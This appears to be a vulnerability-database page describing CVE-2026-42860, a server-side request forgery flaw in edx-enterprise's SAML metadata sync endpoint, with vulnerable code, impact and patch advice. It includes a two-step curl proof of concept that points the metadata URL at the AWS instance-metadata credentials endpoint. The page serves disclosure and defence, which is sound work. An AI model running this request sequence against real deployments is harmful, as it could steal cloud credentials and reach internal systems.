🛡️ CVE-2026-42860 — edx-enterprise

🟠 CVSS 8.5 — High ⚠️ Exploit Public CWE-918 NVD
8.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint

Summary

The sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.

This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch_saml_metadata Celery task) was applied in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9).

Details

Vulnerable code path:

enterprise/api/v1/views/saml_utils.py:

```python

def fetch_metadata_xml(url):

log.info("Fetching %s", url)

if not url.lower().startswith('https'):

log.warning("This SAML metadata URL is not secure! (%s)", url)

response = requests.get(url, verify=True) # No IP/scheme validation

response.raise_for_status()

```

enterprise/api/v1/views/saml_provider_data.py:

```python

@action(detail=False, methods=['post'], url_path='sync_provider_data')

def sync_provider_data(self, request):

...

metadata_url = saml_provider.metadata_source # set via SAMLProviderConfig PATCH

xml = fetch_metadata_xml(metadata_url) # triggers the fetch

```

Missing protections:

  • No HTTPS enforcement (HTTP is allowed; the warning is not enforced)
  • No blocking of loopback (127.0.0.0/8) or link-local (169.254.0.0/16) ranges
  • No blocking of RFC 1918 private ranges
  • No request timeout

Proof of Concept

Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.

Step 1: Set a malicious metadata URL via the provider config endpoint:

```bash

curl -X PATCH 'https://<instance>/auth/saml/v0/provider_config/<pk>/' \

-H 'Authorization: Bearer <JWT>' \

-H 'Content-Type: application/json' \

-d '{"metadata_source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

```

Step 2: Trigger the server-side fetch:

```bash

curl -X POST 'https://<instance>/auth/saml/v0/provider_data/sync_provider_data' \

-H 'Authorization: Bearer <JWT>' \

-H 'Content-Type: application/json' \

-d '{"enterprise_customer_uuid": "<uuid>"}'

```

The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.

Impact

An Enterprise Admin can use this SSRF to:

  • Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.
  • Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall.
  • Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.

Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.

Patches / Mitigations

Call validate_saml_metadata_url() (importable from common.djangoapps.third_party_auth.utils as of the openedx-platform fix in [GHSA-328g-7h4g-r2m9](https://github.com/openedx/openedx-platform/security/advisories/GHSA-328g-7h4g-r2m9)) in fetch_metadata_xml() before calling requests.get(). A request timeout should also be added.

Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability none.

Weakness class

CVE-2026-42860 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-42860 is recorded against 2 packages.

  • edx-enterprise (from 7.0.2 up to 7.0.5)
  • unknown

Timeline and source

Published on 5 May 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
CWE CWE-918
Public Exploit ⚠️ Yes
Source NVD
Published 2026-05-05
Updated 2026-08-12
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
edx-enterprise 7.0.2 7.0.5
unknown

Exploit Protection

Are you running edx-enterprise?

CVE-2026-42860 carries CVSS 8.5 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-42860 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.